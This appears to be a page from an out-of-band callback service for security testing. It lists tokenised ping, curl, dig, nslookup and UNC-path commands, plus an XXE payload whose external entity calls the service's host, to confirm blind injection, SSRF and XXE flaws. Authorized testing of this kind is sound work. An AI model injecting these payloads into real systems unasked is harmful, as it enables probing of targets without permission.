$ ping -c1 -p 00622f9149fff01e05420540e2b3e600 unhack.ca
$ curl http://unhack.ca/p/622f9149fff01e05420540e2b3e6
$ dig 622f9149fff01e05420540e2b3e6 @unhack.ca
$ dig 622f9149fff01e05420540e2b3e6.ns.unhack.ca
C:\> nslookup 622f9149fff01e05420540e2b3e6 unhack.ca
C:\> type \\unhack.ca\622f9149fff01e05420540e2b3e6\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/622f9149fff01e05420540e2b3e6">]>
<foo>&xxe;</foo>
Waiting for ping...